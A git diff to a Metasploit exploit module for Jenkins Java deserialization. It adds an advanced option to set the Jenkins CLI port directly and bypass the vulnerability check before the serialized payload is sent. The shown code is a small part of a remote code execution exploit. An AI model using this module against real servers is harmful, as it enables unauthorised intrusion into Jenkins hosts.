diff --git a/modules/exploits/linux/misc/jenkins_java_deserialize.rb b/modules/exploits/linux/misc/jenkins_java_deserialize.rb
index c7eec77106..728dc431f7 100644
--- a/modules/exploits/linux/misc/jenkins_java_deserialize.rb
+++ b/modules/exploits/linux/misc/jenkins_java_deserialize.rb
@@ -52,10 +52,18 @@ class Metasploit3 < Msf::Exploit::Remote
       OptString.new('TEMP', [true, 'Folder to write the payload to', '/tmp']),
       Opt::RPORT('8080')
     ], self.class)
+
+    register_advanced_options([
+      OptPort.new('XJenkinsCliPort', [ false, 'The X-Jenkins-CLI port. If this is set, the TARGETURI option is ignored.'])
+    ], self.class)
+  end
+
+  def cli_port
+    @jenkins_cli_port || datastore['XJenkinsCliPort']
   end
 
   def exploit
-    unless vulnerable?
+    unless cli_port || vulnerable?
       fail_with(Failure::Unknown, "#{peer} - Jenkins is not vulnerable, aborting...")
     end
     invoke_remote_method(set_payload)
@@ -155,7 +163,7 @@ class Metasploit3 < Msf::Exploit::Remote
 
   def invoke_remote_method(serialized_java_stream)
     begin
-      socket = connect(true, {'RPORT' => @jenkins_cli_port})
+      socket = connect(true, {'RPORT' => cli_port})
 
       print_status 'Sending headers...'
       socket.put(read_bin_file('serialized_jenkins_header'))